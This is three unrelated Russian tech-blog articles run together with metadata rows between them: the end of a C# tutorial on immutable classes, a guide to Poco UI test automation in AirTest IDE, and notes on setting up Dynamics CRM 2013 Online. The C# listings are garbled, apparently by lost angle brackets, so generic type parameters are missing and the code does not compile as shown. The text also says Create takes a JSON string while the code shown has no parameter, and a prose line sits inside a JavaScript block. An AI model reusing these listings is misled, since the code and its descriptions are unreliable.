Листинг 4: Исключение `ImmutableObjectEditAttempt` генерируется всякий раз, когда предпринимается попытка изменить иммутабельное свойство после того, как оно было установлено.
```
public class ImmutableObjectEditException : Exception
{
public ImmutableObjectEditException() : base("An immutable object cannot be changed after it has been created.")
{
}
}
```
В **листинге 5** показано исключение `InvalidDataType`.
**Листинг 5:** Исключение `InvalidDataTypeException` генерируется при попытке определить свойство с типом, не содержащимся в `ValidImmutableClassTypes`.
```
public class InvalidDataTypeException : Exception
{
public static ImmutableHashSet
ValidImmutableClassTypes =
ImmutableHashSet.Create(
"Boolean",
"Byte",
"SByte",
"Char",
"Decimal",
"Double",
"Single",
"Int32",
"UInt32",
"Int64",
"UInt64",
"Int16",
"UInt16",
"String",
"ImmutableArray",
"ImmutableDictionary",
"ImmutableList",
"ImmutableHashSet",
"ImmutableSortedDictionary",
"ImmutableSortedSet",
"ImmutableStack",
"ImmutableQueue"
);
public InvalidDataTypeException(
ImmutableHashSet invalidProperties) : base(
$"Properties of an instance of " +
"ImmutableClass may only " +
"contain the following types: Boolean, Byte, " +
"SByte, Char, Decimal, Double, Single, " +
"Int32, UInt32, Int64, " +
"UInt64, Int16, UInt16, String, ImmutableArray, " +
"ImmutableDictionary, ImmutableList, ImmutableQueue, " +
"ImmutableSortedSet, ImmutableStack or ImmutableClass. " +
$"Invalid property types: " +
$" {string.Join(",", invalidProperties.ToArray())}")
{
Data.Add("InvalidPropertyTypes",
invalidProperties.ToArray());
}
}
```
#### Шаг 3: Создание иммутабельного абстрактного класса
В этом разделе мы сконцентрируемся на абстрактном классе `ImmutableClass`. В **листинге 6** показан его конструктор.
**Листинг 6:** Конструктор `ImmutableClass` гарантирует, что в свойствах объекта присутствуют только допустимые типы данных. Если мы пытаемся установить туда недопустимый тип, генерируется исключение, что предотвращает создание объекта.
```
public abstract class ImmutableClass
{
private bool _lock;
protected ImmutableClass()
{
var properties = GetType()
.GetProperties()
.Where(x => x.PropertyType.BaseType.Name != "ImmutableClass")
.Select(x =>
x.PropertyType.Name.Substring(0,
(x.PropertyType.Name.Contains("`")
? x.PropertyType.Name.IndexOf("`", StringComparison.Ordinal)
: x.PropertyType.Name.Length)))
.ToImmutableHashSet();
var invalidProperties = properties
.Except(InvalidDataTypeException
.ValidImmutableClassTypes);
if (invalidProperties.Count > 0)
throw new InvalidDataTypeException(invalidProperties);
}
```
Когда создается инстанс иммутабельного объекта, в приватное поле `_lock` устанавливается значение `true`. Одно из требований — сделать инициализацию свойств доступной. Если вы хотите использовать конструктор для инициализации свойств инстанса вашего иммутабельного класса, у вас есть такая возможность. Использование инициализаторов предполагает, что сеттеры свойств должны быть публичными. Раз я заговорил о сеттерах свойств, давайте посмотрим на **листинг 7**, где показан стандартный код сеттера для свойства. Если объект залочен (`_lock`), генерируется исключение `ImmutableOjbectEditException` (ранее показанное в **листинге 4**).
**Листинг 7:** С помощью стандартного сеттера вы можете сделать так, что для каждого свойства будет генерироваться исключение, если будет предпринята попытка изменить его после его установки.
```
protected void Setter(string name, T value, ref T variable)
{
if (\_lock)
throw new ImmutableObjectEditException();
variable = value;
}
```
Как вы уже могли догадаться, задумка заключается в том, что когда вы создаете инстанс класса на основе `ImmutableClass` и не установили какое-либо из его свойств при создании, это должно означать, что вы не собирались устанавливать это свойство. В **листинге 8** показан общий статический метод `Create` для создания иммутабельного объекта.
**Листинг 8:** `Create()` принимает json-строку в качестве аргумента, чтобы создать залоченный инстанс `ImmutableClass`.
```
public static T Create() where T : ImmutableClass
{
ImmutableClass retVal = Activator.CreateInstance();
retVal.\_lock = true;
return (T)retVal;
}
```
В следующем разделе будут приведены примеры, иллюстрирующие работу с `ImmutableClass`. Метод `Create()` автоматически лочит возвращаемый инстанс.
#### Шаг 4: Реализация ImmutableClass
В **листинге 9** показаны два подхода к реализации инстанса `ImmutableClass`. Здесь представлен инстанс класса Person, наследующего абстрактный класс `ImmutableClass`. В первом подходе происходит гидратация иммутабельного объекта JSON-строкой. Как создавать JSON оставлю решать вам. Если имена полей подходят, JSON.NET с помощью функции десериализации правильно гидратирует объект. Второй подход заключается в создании класса Person напрямую, вне метода Create. **Примечание:** когда вы создаете инстанс напрямую, он НЕ ЯВЛЯЕТСЯ иммутабельным, поскольку для поля `_lock` не установлено значение `true`.
**Листинг 9:** Иммутабельный инстанс можно создать либо с помощью JSON-строки, либо с помощью изменяемого инстанса иммутабельного класса.
```
public class Person : ImmutableClass
{
private string _firstName;
public string FirstName
{
get => _firstName;
set => Setter(
MethodBase
.GetCurrentMethod()
.Name
.Substring(4),
value,
ref _firstName);
}
private string _lastName;
public string LastName
{
get => _lastName;
set => Setter(
MethodBase
.GetCurrentMethod()
.Name
.Substring(4),
value,
ref _lastName);
}
}
var immutablePerson = ImmutableClass.Create
(
"{\"FirstName\":\"John\"," +
"\"LastName\":\"Petersen\"}"
);
//Или
immutablePerson = ImmutableClass.Create
(
new Person()
{ FirstName = "John",
LastName = "Petersen"}
);
//Следующая строка сгенерирует исключение
immutablePerson.FirstName = "john";
}
```
**На рисунке 2** показано выброшенное исключение, возникающее при попытке изменить свойство инстанса иммутабельного класса.
Рисунок 2: При попытке изменить неизменяемое свойство инстанса класса возникает исключение ImmutableObjectEditException.Свойства класса, основанного на `ImmutableClass`, могут быть следующих типов:
* Boolean
* Byte
* SByte
* Char
* Decimal
* Double
* Single
* Int32
* UInt32
* Int64
* UInt64
* Int16
* UInt16
* String
* ImmutableArray
* ImmutableDictionary
* ImmutableList
* ImmutableHashSet
* ImmutableSortedDictionary
* ImmutableQueue
* ImmutableSortedSet
* ImmutableStack
* ImmutableClass
Первые 14 являются стандартными примитивными типами .NET. Следующие шесть, ImmutableArray, ImmutableDictionary, ImmutableList, ImmutableHashSet, ImmutableSortedDictionary и ImmutableQueue, реализуются пакетом `System.Collections.Immutable Nuget`. Этот Nuget пакет также предоставляет методы расширения для их базовых типов .NET, что упрощают приведение к иммутабельным аналогам. Наконец, классы на основе `ImmutableClass` могут содержать в себе другие классы на основе `ImmutableClass`. Больше информации о `System.Collections.Immutable` можно найти [**здесь**](https://docs.microsoft.com/en-us/dotnet/api/system.collections.immutable?view=netcore-2.2).
В **листинге 10** показана немного более сложная версия класса `Person`.
**Листинг 10:** Иммутабельный класс может содержать свойства с инстансами других иммутабельных классов.
```
public class Person : ImmutableClass
{
private string _firstName;
public string FirstName
{
get => _firstName;
set => Setter(
MethodBase
.GetCurrentMethod()
.Name
.Substring(4),
value,
ref _firstName);
}
private string _lastName;
public string LastName
{
get => _lastName;
set => Setter(
MethodBase
.GetCurrentMethod()
.Name
.Substring(4),
value,
ref _lastName);
}
private ImmutableArray \_schools;
public ImmutableArray Schools
{
get => \_schools;
set => Setter(
MethodBase
.GetCurrentMethod()
.Name
.Substring(4),
value,
ref \_schools);
}
}
```
Свойство `ImmutableArray` решает проблему со свойствами на основе коллекций и массивов. `System.Collections.Immutable` содержит иммутабельные аналоги всех базовых типов коллекций в .NET. Если вы используете .NET Core или Standard, `System.Collections.Immutable` также поддерживает эти платформы.
### Заключение
Если вы будете искать в интернете, как добиться иммутабельности в C#, вы заметите разные вариации одной темы. Эти подходы, как правило, используют параметры конструктора для инициализации, делая резервную переменную доступной только для чтения и удаляя сеттеры (оставляя только геттеры) для публичных свойств. Если в вашем классе есть только примитивные типы, этот подход будет работать. Если в вашем классе много свойств примитивного типа, этот подход будет работать, но менее осуществим. Используя этот подход, вы не можете использовать инициализаторы свойств. Поскольку DTO являются распространенным вариантом использования иммутабельности и поскольку DTO часто приходится сериализовать и десериализовать, отсутствие сеттеров сильно удручает.
Чтобы обойти эти ограничения, разработчики часто обращаются к написанию своего кода для решения проблемы. Хотя и какой-никакой код необходим для заполнения пробелов в том, что не входит в стандартную комплектацию, чем больше кода добавляется к смеси, тем больше проблем возникает. Чтобы убедиться, что объекты, которые должны быть иммутабельными, иммутабельны, обязательно используйте модульное тестирование. Представленный здесь подход подчеркивал простоту с, насколько это возможно, минимальным количеством кода. Убедившись, что необходимые объекты являются иммутабельными, вы можете быть уверены, что эти объекты не будут подвержены побочным эффектам остального кода. В результате получаются более простые приложения, требующие меньшего тестирования.
---
> Сегодня вечером состоится бесплатное занятие **«Базы данных: реляционные базы и работа с ними»**, на котором мы рассмотрим несколько способов работы с реляционными базами данных в приложениях .NET на примере PostgreSQL + ADO.NET и ORM (Dapper, Entity Framework). Все желающие могут [зарегистрироваться по ссылке.](https://otus.pw/b616/)
>
> | https://habr.com/ru/post/676680/ | null | ru | null |
# Poco — UI автоматизация мобильных игр на основе Python в рамках AirTest IDE
Сегодня мы поговорим о втором главном фреймворке для автоматизации UI, который называется Poco. Poco использует Python и здесь уже не обойтись без написания кода, но давайте сначала рассмотрим для чего он применяется, когда стоит к нему обращаться и как это всё выглядит.
Данная статья является финальной из серии про AirTest IDE. Первую, обзорную, работу можно найти [по данной ссылке](https://habr.com/ru/post/461773/), а вторую, где рассказывается про фреймворк распознавания изображений, можно [найти здесь](https://habr.com/ru/post/462587/).
**Poco** — фреймворк UI автоматизации игр использующий Python в рамках AirTest IDE с возможностью комбинирования функциональности с их же Image Recognition фреймворком (AirTest). Стоит упомянуть, что у AirTest IDE есть поддержка и других языков (JS,Lua,C#,Java), но дальнейшие примеры будут на Python, т.к. этот язык считается основным.
Основные элементы взаимодействия выглядят следующим образом:
Подразумевается, что Poco будет использоваться в тех местах, где не справляется AirTest, но, как сами разработчики замечают, вы можете написать все тесты используя только Poco и скорость прогона их будет значительно выше, но тогда вам нужно знать Python хотя бы на базовом уровне.
### Ознакомление и подключение Poco-SDK к вашей игре
Чтобы начать использовать Poco вам нужно ознакомиться с [poco-sdk integration guide](https://poco.readthedocs.io/en/latest/source/doc/integration.html) и установить нужный вам драйвер [с соответствующей страницы](https://poco.readthedocs.io/en/latest/source/doc/poco_drivers.html). На данный момент поддерживаются следующие игровые движки: [Unity3D](https://poco.readthedocs.io/en/latest/source/doc/drivers/unity3d.html), [Android native apps](https://poco.readthedocs.io/en/latest/source/doc/drivers/android-native-app.html), [OSX apps](https://poco.readthedocs.io/en/latest/source/doc/drivers/osx-app.html), [Windows apps](https://poco.readthedocs.io/en/latest/source/doc/drivers/windows-app.html), [cocs2dx-lua](https://poco.readthedocs.io/en/latest/source/doc/drivers/cocos2dx-lua.html), [cocs2dx-js](https://poco.readthedocs.io/en/latest/source/poco.drivers.cocosjs.html), [Egret](https://github.com/AirtestProject/Poco-SDK/tree/master/Egret), [NetEase Internal Engines](https://poco.readthedocs.io/en/latest/source/poco.drivers.netease.internal.html). Также разработчики дают возможность сделать свой собственный драйвер и предоставляют документацию с описанием этой возможности — [Implementation Guide](https://poco.readthedocs.io/en/latest/source/doc/implementation_guide.html). В официальной документации попадаются упоминания Unreal Engine, но большинство из них идут рука об руку с фразой "Coming soon...", так что нельзя сказать наверняка, когда появится его поддержка.
После ознакомления с общей информацией и дальнейшими действиями вам нужно скачать нужный драйвер, после распаковки положить его в папку проекта и подключить скрипт Poco Manager. К примеру для Unity предлагается добавить Poco Manager как скрипт к одному из основных объектов главной сцены, в частности — Main Camera. После этого необходимо скомпилировать игру и запустить её на поддерживаемом AirTest IDE устройстве и операционной системе.
### Подключение игры к AirTest IDE и ваши первые тесты
Для простоты и наглядности дальнейших объяснений я буду использовать пример с официальной демо игрой написанную на Unity, которую предоставляют сами разработчики AirTest IDE. Есть 2 варианта: для [Windows](http://top.gdl.netease.com/poco-res/poco-demo-unity-game-win.zip) и для [Android](http://top.gdl.netease.com/poco-res/poco-demo-unity-game-android.zip), но я остановлюсь на версии для Windows. К слову, лучше использовать Windows 7, т.к. на Windows 10 мной выявлено странное поведение скриптов, в частности некорректное определение местоположения элементов на экране при использовании некоторых команд. Один и тот же код работал некорректно на Windows 10 и корректно на 7. Будем ждать, когда данная досадная оплошность будет исправлена в будущих обновлениях.
Откройте демо игру и дождитесь загрузки стартового экрана. Откройте AirTest IDE. В окне Devices в правой части рабочего layout выберите окно с игрой при помощи кнопки Search Window в разделе "Windows App Connection". Окно с игрой "встроится" в панель и расширится, чтобы соответствовать размеру окна с игрой. Здесь мы сталкиваемся с первой проблемой — невозможность изменить размер окна до нужного нам. Если размер панели и можно изменить, то незначительно и это зависит от размера окна с игрой. К примеру я не сталкивался с такой проблемой при использовании мобильных устройств в портретном режиме.
После подключении игры вам нужно дать AirTest IDE знать, что вы будете использовать Poco для работы с определенным игровым движком. Для этого в левом нижнем углу экрана используйте окно Poco Assistant (если его там нету, то используйте Windows -> Default Layout для восстановления всех панелей по умолчанию) и в выпадающем списке выберите нужный игровой движок, к примеру Unity. Ну и завершающий штрих — согласиться с добавлением всего необходимого кода в Script Editor нажав кнопку "Yes" в появившейся желтой плашке. Если все предыдущие этапы прошли успешно, то в окне Poco Assistant появится иерархическое дерево UI элементов текущего экрана вашего приложения. Данная часть Poco Assistant называется [Hierarchy viewer (UI Unspector)](https://poco.readthedocs.io/en/latest/source/doc/about-standalone-inspector.html) и отображает она список только тех элементов, которые присутствуют сейчас на экране. Данный список обновляется автоматически, если на экране есть какие-либо изменения, например появление новых элементов после определенных событий (Events).
Пример вышеописанных шагов под спойлером.
**Пример подключения игры в AirTest IDE**
Чтобы взаимодействовать с каким-либо элементом на экране вам нужно знать его UI Path Code. Для этого достаточно дважды нажать на объект в Poco Assistant или нажать на правую кнопку мыши и выбрать соответствующий пункт. В окне Script Editor появится код для обращения к выбранному элементу и вам нужно добавить только способ взаимодействия (функцию) через точку.
**Пример заполненного списка элементов в Poco Assistant**
К примеру, если вам нужно кликнуть на кнопку, которая в иерархии обозначена как "btn\_start", то для клика вам нужен будет примерно такой код.
```
poco("btn_start").click()
```
Т.е. простейший тест на основе демо игры, который проверяет нажатие кнопок главного экрана Start и Back (из GlobalControl раздела) будет выглядеть следующим образом
```
# -*- encoding=utf8 -*-
__author__ = "authorName"
from airtest.core.api import *
auto_setup(__file__)
from poco.drivers.unity3d import UnityPoco
poco = UnityPoco()
poco("btn_start").click()
poco("btn_back").click()
```
Что происходит по факту: программа находит указанный в коде элемент и после обнаружения его местоположения на экране выполняет нужную функцию. Все эти операции и необходимые данные (к примеру местоположение объекта, количество нажатий на него и т.п.) можно найти в отчёте, а сам отчёт можно создать при помощи сочетания клавиш Ctrl+L. Учитывайте, что названия/адреса кнопок берутся из расчета их существования на текущем экране.
Как это всё выглядит в последней на сегодняшний день версии AirTest IDE (1.2.2) можно посмотреть под спойлером.
**Обнаружение и использование кнопок при помощи Poco**
### Типы элементов
Документации, которая бы описывала типы элементов я не нашел, поэтому буду делиться своими наблюдениями и замечаниями после использования. После этого я приведу пример как обращаться к конкретным элементам и оставлю [ссылку на документацию](https://poco.readthedocs.io/en/latest/source/README.html#basic-selector), которая содержит в разы более подробную информацию.
Примеры элементов будут приводиться на основе одного из экранов демо игры.
Данный пример содержит следующие элементы:
* **Текст** — на данном экране содержится 3 его разновидности. Примеры будут спрятаны под спойлерами.
**Title example**
**Placeholder example**
**Текст на элементе (кнопке)**
* **Изображение** — на примере выше — звезда.
**Image example**
* **Поле ввода** — поле текстового ввода в нашем случае
**InputField example**
* **Кнопка** — кнопка Back в нашем примере, но под спойлером будет пример другой кнопки, т.к. Back не полностью влезает во встроенный экран
**Button example**
* **Node** — не уверен как его описать, но, по сути, это контейнер элементов.
**Node example**
Раскрытое дерево всех элементов из примера выше выглядит следующим образом
### И ещё немного о кодинге
На данный момент AirTest IDE предоставляет 34 команды для взаимодействия с элементами. Их список отображается автоматически во всплывающем окне после ввода точки после элемента взаимодействия. По непонятной мне причине все команды могут быть вызваны для любого типа элементов. Значит ли это, что все команды могут быть использованы для всех типов элементов — пока не знаю, не было возможности проверить. Для удобства, текущий список можете посмотреть под спойлером.
**Список функций для взаимодействия с элементами в Poco**
```
add_post_action_callback
add_pre_action_callback
agent
click
freeze
get_screen_size
long_click
sleep_for_polling_interval
snapshot
wait_for_all
swipe
wait_for_any
wait_stableattr
child
children
click (это не моя опечатка, команда встречается в списке дважды)
drag_to
exists
focus
get_bounds
get_name
get_position
get_size
get_text
invalidate
nodes
offspring
set_text
setattr
sibling
swipe (это не моя опечатка, команда встречается в списке дважды)
wait
wait_for_appearance
wait_for_disappearance
```
Использование переменных здесь крайне рекомендовано и даже спасает от некоторых проблем. В последствии можно будет обращаться к элементам просто указав имя переменной. Ниже вы можете найти несколько примеров сохранения элемента в переменную и обращение к нему:
**Image variable**
```
star = poco("star_single")
if star.exists():
pos = star.get_position()
```
**Input object variable**
```
input_field = poco("pos_input")
time.sleep(1)
input_field.set_text('x={:.02f}, y={:.02f}'.format(*pos))
time.sleep(3)
```
**Button variable**
```
title = poco('title').get_text()
if title == "Basic test":
back = poco('btn_back', type='Button')
back.click()
back.click()
```
Выше я упомянул, что переменные могут спасти вас от некоторых неприятностей. В частности, я столкнулся с проблемой в модуле Drag and Drop демо игры. Там содержится 5 звёзд (картинки) и задача игрока перенести их в shell, который находится чуть ниже ряда звёзд. Стоит сразу упомянуть, что проблема возникает при прямом обращении к массиву элементов "star": после перетаскивания элемента в нужное положение, он исчезает. AirTest IDE учитывает только видимые элементы и, следовательно, после того, как перенесённая звезда стала невидимой, код не может обратиться к ней напрямую. При прямом обращении к массиву звёзд он будет переинициализирован, т.к. количество элементов в нём изменилось. Т.е. следующая запись не перенесёт все 5 элементов в shell
```
poco("playDragAndDrop").child("star")[0].drag_to(poco("shell"))
poco("playDragAndDrop").child("star")[1].drag_to(poco("shell"))
poco("playDragAndDrop").child("star")[2].drag_to(poco("shell"))
poco("playDragAndDrop").child("star")[3].drag_to(poco("shell"))
poco("playDragAndDrop").child("star")[4].drag_to(poco("shell"))
```
Избежать переинициализации массива после каждого изменения количества его видимых элементов вам поможет хранение первой инициализации массива в переменной. В таком случае выглядеть обращение к его элементам будет следующим образом:
```
stars = poco("playDragAndDrop").child("star")
stars[0].drag_to(poco("shell"))
stars[1].drag_to(poco("shell"))
```
Соответственно позицию элемента shell вы также можете хранить в отдельной переменной, чтобы не обращаться напрямую к нему каждый раз.
### Что же по итогу?
AirTest IDE — это достаточно мощный набор инструментов для тестирования UI в играх и других сложных системах на Windows и мобильных ОС. Обнаружение нужных элементов работает корректно в большинстве случаев, возможность писать тесты "from scratch", поддержка многих языков программирования, достаточно подробная информация о результатах прогона тестов в отчёте, который можно создать средствами самой IDE, а также бесплатность самого комплекса инструментов (напоминаю, что AirTest IDE — это Open-Source приложение) — всё это играет на руку AirTest IDE и является хорошей причиной как минимум попробовать, а как максимум внедрить данный инструмент в вашу систему автоматизации. Стоит учитывать, что хоть AirTest и был разработан для тестирования игр, но он не предназначен для автоматизации геймплея. Airtest IDE прекрасно справляется со "статичными" вещами, например с нахождением определенных элементов на экране, работа с UI элементами, к примеру покупки в игровых магазинах и т.п. С этими задачами данная IDE справляется на отлично и её можно советовать для достаточно простой и надёжной автоматизации ваших приложений с низким порогом входа для новичков в этом деле!
Больше информации по использованию, примеров на базе демо игры, а также саму игру от NetEase вы можете найти на официальной странице разработчиков в разделе [Poco Examples and Tutorials](https://poco.readthedocs.io/en/latest/source/doc/poco-example/index.html).
Если у вас уже есть опыт использования AirTest IDE, то будет очень здорово, если вы поделитесь им в комментариях, а если вы нашли баги, то их баг-репорт можно оставить [на соответствующей странице](https://github.com/AirtestProject/AirtestIDE/issues/)! | https://habr.com/ru/post/464181/ | null | ru | null |
# CRM в облаках
Привет, Хабр!
В этой статье мы хотим поделиться своим опытом работы с **программным продуктом Microsoft Dymanics CRM 2013 Online** – для чего и как его можно использовать, возможные проблемы типового развертывания, типовой функционал – достоинства, недостатки и пути решения проблем с наименьшими затратами.
Все изложенные тезисы основаны на практическом опыте внедрения системы у конкретного заказчика. Поэтому мы постарались опустить описание типовых задач, а сконцентрировать внимание на нюансах, с которыми может столкнуться большинство компаний при настройке системы и адаптации под требования бизнеса. Итак…
#### Почему «облако»?
Когда вариант с облачными решениями становится привлекательным (наше субъективное мнение):
* есть потребность в CRM системе, но нет четкого видения «что, зачем и как»;
* количество потенциальных пользователей системы достаточно небольшое;
* отсутствует необходимая инфраструктура для развертывания решения;
* есть желание оптимизировать организацию внутренней системы поддержки нового решения;
* нужно минимизировать финансовые затраты на приобретение (поддержку) решения – здесь все ясно – пробный период в 30 дней, невысокая стоимость подписки, достаточно льготные условия оплаты (отсрочка платежа).
В итоге мы можем получить богатый функционал «из коробки» с возможностью его расширения и адаптации под требования бизнеса. На описании функционала и возможностей останавливаться нет смысла, вся информация в избыточном количестве имеется в открытых источниках информации.
#### Зарегистрировали. Что дальше?
Дальше настраиваем пользователей. И у нас есть два варианта: либо делаем пользователей CRM Online в облаке вручную, либо настраиваем интеграцию с существующим доменом AD. Отдельно остановимся на интеграции с Active Directory.
Преимущество использования интеграции с AD очевидно. С точки зрения администрирования – у нас будет единый механизм для управления пользователями, единые логины и пароли, — нам не придется вести отдельный набор учетных записей в домене и в CRM. Если пользователь увольняется, его доступ блокируется ко всем информационным ресурсам компании, включая CRM. Также возможно использовать одни и те же доменные политики, такие как сложность пароля, количество неправильных попыток и т.п. Но, для настройки интеграции потребуются и дополнительные ресурсы:
* Если хотим просто синхронизировать, то потребуется сервер в домене с программным обеспечением DirSync.
* Если хотим организовать единый вход (Single Sign On), тогда потребуется инфраструктура ADFS.
Нашего заказчика устроил более простой вариант с синхронизацией AD посредством DirSync.
> Подробнее про настройку синхронизации с AD можно посмотреть на [странице](http://blogs.office.com/2014/04/15/synchronizing-your-directory-with-office-365-is-easy/)
#### Настройка почтовой системы.
Работа с почтой в CRM Online и CRM On-Premises — это тема для отдельной статьи. Сейчас же отметим, что наиболее полно почта в CRM Online интегрируется с облачными службами Exchange Onlinе, Gmail, Yahoo. В случае использования внешних коннекторов (Server Side Synchronization) есть ограничения в процессе синхронизации отправленной почты из CRM Online и почтовыми ящиками пользователей. В нашем случае используется синхронизация почты через внешний коннектор.
> Подробнее про конфигурацию почты можете посмотреть [здесь](http://technet.microsoft.com/en-us/library/dn531109.aspx) и [здесь](http://technet.microsoft.com/en-us/library/dn531050.aspx)
#### Загрузка начальных данных
Доступ настроен, можно начинать работать. Но, как правило, требуется (или хочется) перенести исторические данные в новую систему. В общих случаях здесь все просто – CRM поддерживает основные открытые форматы данных, также можно выгрузить шаблоны в формате XML для подготовки данных для загрузки.
**Какие здесь могут быть подводные камни?** *Рассмотрим практический бизнес-кейс.*
В CRM организованы справочники географических понятий. Реализация произведена через создание новых сущностей системы по принципу: «Федеральный округ» — «Субъект РФ» — «Населенный пункт». То есть организована структура иерархических справочников. Такое решение (возможно, не идеальное) достаточно удобно с точки зрения пользователя и администрирования данных. Оно позволит в дальнейшем расширять аналитику по городам (например, численность населения, закрепление персональной ответственности, классификация по интересам и прочее).
**В шаблоны, подготовленные CRM, внесены данные и успешно загружены в систему.** *Двигаемся дальше.*
Теперь готовим данные по клиентам компании, опять же, на основе шаблонов CRM. В данных по каждому клиенту в обязательном порядке содержится информация о его географической принадлежности (федеральный округ, субъект РФ, населенный пункт). Начинаем загрузку.
Здесь мы сталкиваемся с первой **проблемой** — система выдает ошибки импорта (ссылка на дублирующие данные). *В чем же дело?*
А дело в том, что населенных пунктов с одинаковыми названиями в различных субъектах РФ множество. Оказывается, несмотря на то, что мы организовали иерархическую структуру справочников и при подготовке шаблона с данными для загрузки указали, в каком субъекте РФ находится тот или иной населенный пункт с одинаковым названием, при импорте система игнорирует этот факт и смотрит уникальность по каждому полю. Так как городов с одинаковыми названиями у нас много, то загрузить такие данные CRM не может.
**Выход из ситуации?** На усмотрение компании их может быть несколько:
* другая система организации справочной информации, например, в виде одной сложной сущности со всеми необходимыми атрибутами, но, как показывает практика, организация связи типа «сам на себя» — не лучший вариант;
* организация загрузки данных с помощью скриптов (требуется привлечение соответствующих технических специалистов);
* изменение наименования населенных пунктов: у каждого уникальное название, после успешного импорта можно переименовать обратно без потери информации (это дополнительный объем работы по последующей корректировке данных).
Какой способ выбрать, каждая компания выбирает сама. Главное — знать о потенциальной проблеме и на этапе планирования работ учесть возможные риски.
Кстати, аналогичная проблема может возникнуть и **при импорте организаций и контактов**: здесь может появиться конфликт между полем «Телефон» в организации и полем «Рабочий телефон» контакта (CRM не допускает в этом поле одинаковых значений). Выход – либо разные значения номеров телефонов, либо использование собственных полей (атрибутов).
#### Доработка основного функционала CRM (Продукты)
С чем еще можно столкнуться, продвигаясь далее, при первичной настройке основных разделов системы?
*Рассмотрим следующий практический бизнес-кейс* на примере компании, которая занимается производство и продажей обуви или одежды. Как правило, такие компании привыкли оперировать примерно таким минимальным набором характеристик единицы товара:
* наименование;
* цвет;
* размер;
* артикул;
* сезон;
… прочее. Эти поля и заполняются в карточке продуктов, например:
| | | | | |
| --- | --- | --- | --- | --- |
| артикул | наименование | цвет | размер | сезон |
| 000142 | туфли Shoes | черный | 42 | осень |
| 000143 | туфли Shoes | черный | 43 | осень |
Все отлично и логично. Но, к сожалению, в дальнейшем мы поймем, что воспользоваться стандартным функционалом формирования коммерческих предложений, заказов, счетов мы попросту не сможем.
Дело в том, что при выборе продуктов для спецификации документа нам будет доступно для его идентификации только поле «наименование». Таким образом, мы увидим список одинаковых названий товарных позиций (артикул, цвет, размер и прочее — недоступны). Модификация штатного функционала работы со спецификацией довольно трудоемка; к тому же модифицировать придется отдельно для каждого раздела (возможная сделка, коммерческое предложение, заказ, счет).
Вариант, требующий гораздо меньших затрат и более универсальный, — это **создание js-скрипта**, который регистрируется в свойствах формы.
Дополнительно вводим еще одно поле в карточку продукта, где будем записывать собственно его наименование, а системное поле «наименование» переименуем в «полное наименование». Принцип работы скрипта следующий (например): он считывает информацию из полей «наименование», «цвет», «размер» и автоматически записывает данные в поле «полное наименование» через разделитель (пробел, запятая). Таким образом мы автоматически получаем уникальное наименование единицы товара в виде «туфли Shoes, черный, 42». Это значение и будет автоматически отображаться в стандартных спецификациях CRM.
Для создания такого скрипта хорошо подходит функция наподобие [string.format](http://dema.ru/string.format), она принимает маску в [формате .Net](http://msdn.microsoft.com/ru-ru/library/system.string.format(v=vs.110).aspx)
После подключения этой функции к решению можно написать небольшую обертку, которая принимает формат и список полей, вычисляет их значения и записывает отформатированный результат в нужное поле.
```
function calcName(name, mask, params) {
var name = Xrm.Page.getAttribute(name);
var vals = [];
for (param in params) {
var val = Xrm.Page.getAttribute(params[param]);
val = val != null ? val.getValue() : "";
vals.push(val != null ? val : "");
}
name.setValue(mask.format.apply(mask, vals));
}
После чего привязать функцию к событиям изменения формы.
```
Как видно, здесь
‘name’ – это имя поля наименование сущности
‘{0} {1} {2}‘ – маска, соединяющая 3 строки через пробелы
[‘etrnova\_fullname’, ‘etrnova\_colour’, ‘size’] – имена полей, которые подставляются в маску.
Результат достигнут. Возможно, решение не идеальное, но нетрудозатратное и быстрое. Тем более, что данный механизм формирования составного поля в дальнейшем можно применить и в других разделах системы (в случае необходимости).
#### Фотографии в CRM
Как известно, в Microsoft Dymanics CRM 2013 теперь все объекты теперь могут включать в себя картинки (фотографии).
Но есть ограничения:
* хранятся они в поле с типом «изображение»;
* выводятся только в верхний левый угол формы;
* на один объект может быть только одно поле-изображение;
* размер изображения ограничен 144x144px.
Если такие ограничения не влияют на объект «Контакт», например, фотография партнера, то практическое применение для других объектов становится весьма условным (ограничения по количеству и маленький размер).
Но в реальной жизни нередко возникает **потребность в работе с изображениями без ограничения их количества и размера**, например:
* карточки продукта (изображения товара);
* клиенты (мерчендайзинг).
**Возможно ли реализовать такой функционал**, какими способами и с какими затратами? *Давайте рассмотрим.*
Тут может быть несколько вариантов решения, каждый — со своими недостатками. Можно сделать **дочернюю сущность**, в которой есть поле «фотография». Поле чего, используя JavaScript API, отображать фотографии в виде списка. Есть прекрасное [коммерческое решение](http://http://www.powerobjects.com/add-on-subscriptions/powerpack/powerphoto/), которое использует этот подход. Недостаток подхода — упомянутое ограничение по размеру фотографий. Чтобы попытаться его обойти, можно записать фотографию в текстовое поле в формате Base64. Конечно, это приведет к излишнему потреблению места, однако, если фотографий не очень много, решение вполне приемлемо.
При этом ограничения на размер изображения не будет, но будет ограничение на размер файла с фотографией ~500кб; также фотографии могут быть существенно больше, чем 144x144.
Ну и наконец, если хочется полностью обойти это ограничение, можно **хранить фотографии в сторонней системе**, и написать интерфейс, который отображает их список внутри сущности. Такое решение, конечно, гораздо сложнее с точки зрения установки и поддержки, но в некоторых случаях оправдано.
В нашем случае наиболее предпочтительным оказался второй вариант, поскольку он с одной стороны предоставляет возможность хранить картинки достаточного для наших задач размера, с другой стороны — менее сложен в развертывании, чем третий. Для его реализации создаем сущность Photo в ней делаем стоковые поля …EntityId, …EntityType, ImageContent, на форме реализуем интерфейс для отображения и редактирования набора картинок, наподобие следующего:
Таким образом, можно решить возникшую проблему и расширить функционал системы. Мы думаем, что найдется еще много бизнес-задач, где это решение может быть применено.
#### Организации и контакты
В большинстве случаев базовый функционал для организации работы с организациями и контактами, который предлагает система, более чем достаточен (с учетом возможных дополнительных настроек разделов штатными средствами системы).
Единственное неудобство, с которым часто сталкиваются пользователи, связано исключительно со спецификой нашей страны. Ни для кого не секрет, что в силу различных причин у одной и той же компании может быть несколько юридических лиц. При этом контакты остаются одни и те же.
К сожалению, стандартный функционал CRM позволяет связать контакт только с одной организацией, а использование функционала «головная организация» не всегда удобно, в частности, ссылка на контакт не появляется в связанном представлении контактов в организации, что не всегда удобно для оперативной работы конечных пользователей.
Можно ли достаточно легко обойти это недостаток системы? Можно.
На самом деле, поле «контакт» придется оставить, возможно, переименовать его в «основной контакт», и можно завести также связь Многое-ко-Многим между клиентами и контактами. На форму нужно добавить на форму специальную табличку для отображения редактирования контактов. Основной контакт будет использоваться в представлениях, а также, допустим, при построении графиков, которые не поддерживают множественные связи.
